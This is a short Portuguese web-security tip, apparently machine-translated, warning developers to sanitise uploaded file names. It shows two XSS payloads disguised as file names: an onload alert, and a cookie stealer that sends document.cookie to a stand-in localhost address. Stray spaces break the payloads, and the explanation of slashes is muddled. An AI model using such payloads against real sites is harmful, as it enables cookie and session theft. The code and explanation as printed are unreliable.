Segurança da Web: Nomes de arquivos

Algo importante a ser lembrado quando se trata de desenvolver aplicativos da web é que você nunca pode confiar em nenhum de seus usuários em qualquer caso. Os humanos são cruéis; não é improvável que alguém tente entrar no seu servidor ou banco de dados.

Ao desenvolver anexos, upload de arquivos ou sistemas semelhantes, lembre-se sempre de limpar o nome do arquivo.

É claro que os sistemas de computador modernos não permitem barras no nome do arquivo, então o seguinte não funcionaria:

<body> hackeado </body> .txt

Os sistemas simplesmente não gostam disso. Você não pode usar barras nos nomes dos arquivos. Mas um arquivo especialmente criado pode ser carregado, o qual pode ser usado para roubar cookies, redirecionar usuários ou modificar a página atual ao gosto do invasor.

Exemplos:

// Alerta simples
<body onload = alert (Hacked)>. Txt

// Ladrão de cookies
<body onload = location.href = “http:” + String.fromCharCode (47) + String.fromCharCode (47) + “localhost” + String.fromCharCode (47) + “test.php? Data =” + escape (document.cookie)>. txt

// etc

<em> SEMPRE </em> limpe o nome do arquivo. Mantenha você e seus usuários seguros. 🙂